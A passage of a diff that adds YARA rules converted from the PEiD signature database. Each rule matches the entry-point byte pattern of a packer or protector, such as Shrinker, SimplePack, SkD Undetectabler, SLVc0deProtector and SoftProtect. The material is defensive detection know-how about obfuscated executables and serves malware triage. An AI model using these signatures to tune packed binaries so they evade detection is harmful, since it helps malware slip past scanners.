+        description = "[Shrink v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? 50 9C FC BE ?? ?? 8B FE 8C C8 05 ?? ?? 8E C0 06 57 B9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02070_Shrink_Wrap_v1_4_
+{
+    meta:
+        description = "[Shrink Wrap v1.4]"
+        ep_only = "true"
+    strings:
+        $a = {58 60 8B E8 55 33 F6 68 48 01 ?? ?? E8 49 01 ?? ?? EB}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02071_Shrinker_3_2_
+{
+    meta:
+        description = "[Shrinker 3.2]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 56 57 75 65 68 00 01 00 00 E8 F1 E6 FF FF 83 C4 04}
+    condition:
+        $a
+}
+
+rule PEiD_02072_Shrinker_3_3_
+{
+    meta:
+        description = "[Shrinker 3.3]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02073_Shrinker_3_4_
+{
+    meta:
+        description = "[Shrinker 3.4]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 56 57 75 6B 68 00 01 00 00 E8 11 0B 00 00 83 C4 04}
+    condition:
+        $a
+}
+
+rule PEiD_02074_Shrinker_v3_2_
+{
+    meta:
+        description = "[Shrinker v3.2]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? ?? 55 8B EC 56 57 75 65 68 00 01 ?? ?? E8 ?? E6 FF FF 83 C4 04 8B 75 08 A3 ?? ?? ?? ?? 85 F6 74 1D 68 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02075_Shrinker_v3_3_
+{
+    meta:
+        description = "[Shrinker v3.3]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? 00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02076_Shrinker_v3_4_
+{
+    meta:
+        description = "[Shrinker v3.4]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D B4 ?? ?? ?? ?? 55 8B EC 56 57 75 6B 68 00 01 00 00 E8 ?? 0B 00 00 83 C4 04 8B 75 08 A3 B4 ?? ?? ?? 85 F6 74 23 83 7D 0C 03 77 1D 68 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02077_Shrinker_v3_4_
+{
+    meta:
+        description = "[Shrinker v3.4]"
+        ep_only = "true"
+    strings:
+        $a = {BB ?? ?? BA ?? ?? 81 C3 07 00 B8 40 B4 B1 04 D3 E8 03 C3 8C D9 49 8E C1 26 03 0E 03 00 2B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02078_Silicon_Realms_Install_Stub_
+{
+    meta:
+        description = "[Silicon Realms Install Stub]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? 92 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D ?? ?? 40 00 C1 E1 08 03 CA 89 0D ?? ?? 40 00 C1 E8 10 A3}
+    condition:
+        $a
+}
+rule PEiD_02079_Silicon_Realms_Install_Stub_
+{
+    meta:
+        description = "[Silicon Realms Install Stub]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? 92 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D ?? ?? 40 00 C1 E1 08 03 CA 89 0D ?? ?? 40 00 C1 E8 10 A3 ?? ?? 40 00 33 F6 56 E8 ?? ?? 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 ?? ?? 00 00 FF 15 ?? 91 40 00 A3 ?? ?? 40 00 E8 ?? ?? 00 00 A3 ?? ?? 40 00 E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8 ?? ?? FF FF 89 75 D0 8D 45 A4 50 FF 15 ?? 91 40 00 E8 ?? ?? 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 ?? 91 40 00 50 E8 ?? ?? FF FF 89 45 A0 50 E8 ?? ?? FF FF 8B 45 EC 8B 08 8B 09 89 4D 98 50 51 E8 ?? ?? 00 00 59 59 C3 8B 65 E8 FF 75 98 E8 ?? ?? FF FF 83 3D ?? ?? 40 00 01 75 05}
+    condition:
+        $a
+}
+
+rule PEiD_02080_SimbiOZ____Extranger_
+{
+    meta:
+        description = "[SimbiOZ -> Extranger]"
+        ep_only = "true"
+    strings:
+        $a = {50 60 E8 00 00 00 00 5D 81 ED 07 10 40 00 68 80 0B 00 00 8D 85 1F 10 40 00 50 E8 84 0B 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02081_SimbiOZ_1_3____Extranger_
+{
+    meta:
+        description = "[SimbiOZ 1.3 -> Extranger]"
+        ep_only = "true"
+    strings:
+        $a = {57 57 8D 7C 24 04 50 B8 00 ?? ?? ?? AB 58 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02082_SimbiOZ_Poly_2_1____Extranger_
+{
+    meta:
+        description = "[SimbiOZ Poly 2.1 -> Extranger]"
+        ep_only = "true"
+    strings:
+        $a = {55 50 8B C4 83 C0 04 C7 00 ?? ?? ?? ?? 58 C3 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02083_SimbiOZ_PolyCryptor_v_xx___Extranger_
+{
+    meta:
+        description = "[SimbiOZ PolyCryptor v.xx-> Extranger]"
+        ep_only = "true"
+    strings:
+        $a = {55 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02084_Simple_UPX_Cryptor_V30_4_2005____MANtiCORE_
+{
+    meta:
+        description = "[Simple UPX Cryptor V30.4.2005 -> MANtiCORE]"
+        ep_only = "true"
+    strings:
+        $a = {60 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? ?? ?? ?? ?? E2 FA 61 68 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02085_Simple_UPX_Cryptor_v30_4_2005__multi_layer_encryption_
+{
+    meta:
+        description = "[Simple UPX Cryptor v30.4.2005 [multi layer encryption]"
+        ep_only = "true"
+    strings:
+        $a = {60 B8 ?? ?? ?? 00 B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02086_Simple_UPX_Cryptor_v30_4_2005__multi_layer_encryption_
+{
+    meta:
+        description = "[Simple UPX Cryptor v30.4.2005 [multi layer encryption]"
+        ep_only = "true"
+    strings:
+        $a = {60 B8 ?? ?? ?? ?? B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02087_Simple_UPX_Cryptor_v30_4_2005__One_layer_encryption_
+{
+    meta:
+        description = "[Simple UPX Cryptor v30.4.2005 [One layer encryption]"
+        ep_only = "true"
+    strings:
+        $a = {60 B8 ?? ?? ?? 00 B9 ?? 01 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02088_SimplePack_1_11_Method_1____bagie_TMX_
+{
+    meta:
+        description = "[SimplePack 1.11 Method 1 -> bagie[TMX]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B FA BD 00 00 ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 74 55 0F B7 47 22 09 C0 74 4D 6A 04 68 00 10 00 00 FF 77 10 6A 00 FF 93 38 03 00 00 50 56 57 89 EE 03 77 0C 8B 4F 10 89 C7 89 C8 C1 E9 02 FC F3 A5 89 C1 83 E1 03 F3 A4 5F 5E 8B 04 24 89 EA 03 57 0C E8 3F 01 00 00 58 68 00 40 00 00 FF 77 10 50 FF 93 3C 03 00 00 83 C7 28 4E 75 9E BE ?? ?? ?? ?? 09 F6 0F 84 0C 01 00 00 01 EE 8B 4E 0C 09 C9 0F 84 FF 00 00 00 01 E9 89 CF 57 FF 93 30 03 00 00 09 C0 75 3D 6A 04 68 00 10 00 00 68 00 10 00 00 6A 00 FF 93 38 03 00 00 89 C6 8D 83 6F 02 00 00 57 50 56 FF 93 44 03 00 00 6A 10 6A 00 56 6A 00 FF 93 48 03 00 00 89 E5}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02089_SimplePack_1_11_Method_1____bagie_TMX__
+{
+    meta:
+        description = "[SimplePack 1.11 Method 1 -> bagie[TMX]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B FA BD 00 00 ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 74 55 0F B7 47 22 09 C0 74 4D 6A 04 68 00 10 00 00 FF 77 10 6A 00 FF 93 38 03 00 00 50 56 57 89 EE 03 77 0C 8B 4F 10 89 C7 89 C8 C1 E9 02 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02090_SimplePack_1_11_Method_2_NT_____bagie_TMX__
+{
+    meta:
+        description = "[SimplePack 1.11 Method 2(NT) -> bagie[TMX]]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02091_SimplePack_1_2_build_30_09__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack 1.2.build.30.09 (Method2) -> bagie]"
+        ep_only = "false"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 86 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02092_SimplePack_1_21_build_09_09__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack 1.21.build.09.09 (Method2) -> bagie]"
+        ep_only = "false"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 8A 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02093_SimplePack_1_X__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack 1.X (Method2) -> bagie]"
+        ep_only = "false"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02094_SimplePack_V1_0X____bagie___Sign_by_fly_
+{
+    meta:
+        description = "[SimplePack V1.0X -> bagie ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B FA 6A 00 FF 93 ?? ?? 00 00 89 C5 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 8B 86 88 00 00 00 09 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02095_SimplePack_V1_1X__Method1_____bagie___Sign_by_fly_
+{
+    meta:
+        description = "[SimplePack V1.1X (Method1) -> bagie ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B FA BD ?? ?? ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02096_SimplePack_V1_1X__Method2_____bagie___Sign_by_fly_
+{
+    meta:
+        description = "[SimplePack V1.1X (Method2) -> bagie ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_02097_SimplePack_V1_1X__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.1X (Method2) -> bagie]"
+        ep_only = "false"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+    condition:
+        $a
+}
+
+rule PEiD_02098_SimplePack_V1_1X__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.1X (Method2) -> bagie]"
+        ep_only = "false"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02099_SimplePack_V1_1X_V1_2X__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.1X-V1.2X (Method2) -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02100_SimplePack_V1_2_build_30_09__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.2.build.30.09 (Method2) -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 86 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02101_SimplePack_V1_21_build_09_09__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.21.build.09.09 (Method2) -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 8A 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02102_SimplePack_V1_X__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.X (Method2) -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02103_SkD_Undetectabler_3__No_FSG_2_Method_____SkD_
+{
+    meta:
+        description = "[SkD Undetectabler 3 (No FSG 2 Method) -> SkD]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 10 02 00 00 68 00 02 00 00 8D 85 F8 FD FF FF 50 6A 00 FF 15 38 10 00 01 50 FF 15 3C 10 00 01 8D 8D F8 FD FF FF 51 E8 4F FB FF FF 83 C4 04 8B 15 ?? 16 00 01 52 A1 ?? 16 00 01 50 E8 50 FF FF FF 83 C4 08 A3 ?? 16 00 01 C7 85 F4 FD FF FF 00 00 00 00 EB 0F 8B 8D F4 FD FF FF 83 C1 01 89 8D F4 FD FF FF 8B 95 F4 FD FF FF 3B 15 ?? 16 00 01 73 1C 8B 85 F4 FD FF FF 8B 0D ?? 16 00 01 8D 54 01 07 81 FA 74 10 00 01 75 02 EB 02 EB C7 8B 85 F4 FD FF FF 50 E8 ?? 00 00 00 83 C4 04 89 85 F0 FD FF FF 8B 8D F0 FD FF FF 89 4D FC C7 45 F8 00 00 00 00 EB 09 8B 55 F8 83 C2 01 89 55 F8 8B 45 F8 3B 85 F4 FD FF FF 73 15 8B 4D FC 03 4D F8 8B 15 ?? 16 00 01 03 55 F8 8A 02 88 01 EB D7 83 3D ?? 16 00 01 00 74}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02104_SkD_Undetectabler_Pro_2_0__No_UPX_Method_____SkD_
+{
+    meta:
+        description = "[SkD Undetectabler Pro 2.0 (No UPX Method) -> SkD]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 FC 26 00 10 E8 EC F3 FF FF 6A 0F E8 15 F5 FF FF E8 64 FD FF FF E8 BB ED FF FF 8D 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02105_SLR__OPTLINK___1__
+{
+    meta:
+        description = "[SLR (OPTLINK) (1)]"
+        ep_only = "true"
+    strings:
+        $a = {87 C0 EB ?? 71 ?? 02 D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02106_SLR__OPTLINK__
+{
+    meta:
+        description = "[SLR (OPTLINK)]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 8E DF FA 8E D7 81 C4 ?? ?? FB B4 30 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02107_SLVc0deProtector_0_60____SLV___ICU_
+{
+    meta:
+        description = "[SLVc0deProtector 0.60 -> SLV / ICU]"
+        ep_only = "false"
+    strings:
+        $a = {EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8 31 00 00 00 78 E8 DD}
+    condition:
+        $a
+}
+
+rule PEiD_02108_SLVc0deProtector_1_1____SLV__h__
+{
+    meta:
+        description = "[SLVc0deProtector 1.1 -> SLV (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E8 01 00 00 00 A0 5D EB 01 69 81 ED 5F 1A 40 00 8D 85 92 1A 40 00 F3 8D 95 83 1A 40 00 8B C0 8B D2 2B C2 83 E8 05 89 42 01 E8 FB FF FF FF 69 83 C4 08 E8 06 00 00 00 69 E8 F2 FF FF FF F3 B9 05 00 00 00 51 8D B5 BF 1A 40 00 8B FE B9 58 15 00 00 AC 32 C1 F6}
+    condition:
+        $a
+}
+
+rule PEiD_02109_SLVc0deProtector_1_1x____SLV___ICU_
+{
+    meta:
+        description = "[SLVc0deProtector 1.1x -> SLV / ICU]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02110_SLVc0deProtector_v1_1____SLV__h__
+{
+    meta:
+        description = "[SLVc0deProtector v1.1 -> SLV (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02111_SLVc0deProtector_v1_1____SLV__h__
+{
+    meta:
+        description = "[SLVc0deProtector v1.1 -> SLV (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E8 01 00 00 00 A0 5D EB 01 69 81 ED 5F 1A 40 00 8D 85 92 1A 40 00 F3 8D 95 83 1A 40 00 8B C0 8B D2 2B C2 83 E8 05 89 42 01 E8 FB FF FF FF 69 83 C4 08 E8 06 00 00 00 69 E8 F2 FF FF FF F3 B9 05 00 00 00 51 8D B5 BF 1A 40 00 8B FE B9 58 15 00 00 AC 32 C1 F6 D0 EB 01 00 D0 C0 FE C8 02 C1 AA E2 EF 59 E2 DE B7 FE AB E1 24 C8 0C 88 7A E1 B1 6A F7 95 83 1B A8 7F F8 A8 B0 1A 8B 08 91 47 6C 5A 88 6C 65 39 85 DB CB 54 3D B9 24 CF 4C AE C6 63 74 2C 63 F0 C8 18 0B 97 6B 79 63 A8 AB B8 78 A9 30 2F 2B DA 18 AC 35 45 36 BC 0D 7D 24 D1 51 3C E6 34 11 5A 43 06 24 89 FA 74 30}
+    condition:
+        $a
+}
+
+rule PEiD_02112_SmartE____Microsoft_
+{
+    meta:
+        description = "[SmartE -> Microsoft]"
+        ep_only = "true"
+    strings:
+        $a = {EB 15 03 00 00 00 ?? 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 8F 07 00 00 89 85 83 07 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 2F 06 00 00 E8 8E 04 00 00 49 0F 88 23 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02113_SmokesCrypt_v1_2_
+{
+    meta:
+        description = "[SmokesCrypt v1.2]"
+        ep_only = "true"
+    strings:
+        $a = {60 B8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8A 14 08 80 F2 ?? 88 14 08 41 83 F9 ?? 75 F1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02114_Soft_Defender_1_1x____Randy_Li_
+{
+    meta:
+        description = "[Soft Defender 1.1x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02115_Soft_Defender_v1_0___v1_1_
+{
+    meta:
+        description = "[Soft Defender v1.0 - v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD ?? 59 9C 50 74 0A 75 08 E8 59 C2 04 ?? 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 ?? ?? ?? ?? 58 05 BA 01 ?? ?? 03 C8 74 BE 75 BC E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02116_Soft_Defender_v1_12_
+{
+    meta:
+        description = "[Soft Defender v1.12]"
+        ep_only = "false"
+    strings:
+        $a = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 BE 01 00 00 03 C8 74 BD 75 BB E8}
+    condition:
+        $a
+}
+
+rule PEiD_02117_Soft_Defender_v1_1x____Randy_Li_
+{
+    meta:
+        description = "[Soft Defender v1.1x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {74 07 75 05 ?? ?? ?? ?? ?? 74 1F 75 1D ?? 68 ?? ?? ?? 00 59 9C 50 74 0A 75 08 ?? 59 C2 04 00 ?? ?? ?? E8 F4 FF FF FF ?? ?? ?? 78 0F 79 0D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02118_SoftComp_1_x____BG_Soft_PT_
+{
+    meta:
+        description = "[SoftComp 1.x -> BG Soft PT]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24 8B 04 24 89 85 2A 0F 41 00 58 8B 85 2A 0F 41 00}
+    condition:
+        $a
+}
+
+rule PEiD_02119_SoftDefender_1_x____Randy_Li_
+{
+    meta:
+        description = "[SoftDefender 1.x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 E6 01 00 00 03 C8 74 BD 75 BB E8 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02120_SoftDefender_1_x____Randy_Li_
+{
+    meta:
+        description = "[SoftDefender 1.x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 E6 01 00 00 03 C8 74 BD 75 BB E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02121_SoftProtect____SoftProtect_by_ru_
+{
+    meta:
+        description = "[SoftProtect -> SoftProtect.by.ru]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0C 15 00 00 8D 85 2F 14 00 00 C7 00 00 00 00 00 E8 29 0F 00 00 E8 F6 14 00 00 8D 85 20 01 00 00 50 E8 AA 16 00 00 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02122_SoftProtect____SoftProtect_by_ru_
+{
+    meta:
+        description = "[SoftProtect -> SoftProtect.by.ru]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 60 E8 03 ?? ?? ?? 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 EB 01 83 9C EB 01 D5 EB 08 35 9D EB 01 89 EB 03 0B EB F7 E8 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 59 83 01 01 80 39 5C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02123_SoftProtect____SoftProtect_by_ru_
+{
+    meta:
+        description = "[SoftProtect -> SoftProtect.by.ru]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 60 E8 03 ?? ?? ?? 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 EB 01 83 9C EB 01 D5 EB 08 35 9D EB 01 89 EB 03 0B EB F7 E8 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 59 83 01 01 80 39 5C 75 F2 33 C4 74 0C 23 C4 0B C4 C6 01 59 C6 01 59 EB E2 90 E8 44 14 ?? ?? 8D 85 CF 13 ?? ?? C7 ?? ?? ?? ?? ?? E8 61 0E ?? ?? E8 2E 14 ?? ?? 8D 85 E4 01 ?? ?? 50 E8 E2 15 ?? ?? 83 BD 23 01 ?? ?? 01 75 07 E8 21 0D ?? ?? EB 09 8D 85 CF 13 ?? ?? 83 08 01 83 BD 1F 01 ?? ?? 01 75 07 E8 3E 0C ?? ?? EB 05 E8 A8 0C ?? ?? E8 B3 02 ?? ?? 8D 85 63 02 ?? ?? 50 E8 A3 15 ?? ?? 8D 85 F5 02 ?? ?? 50 E8 97 15 ?? ?? E8 E2 01 ?? ?? 8D 85 09 05 ?? ?? 50 E8 86 15 ?? ?? 8D 85 F8 0F ?? ?? 50 E8 7A 15 ?? ?? 8D 85 88 0F ?? ?? 50 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02124_SoftProtect____www_softprotect_by_ru_
+{
+    meta:
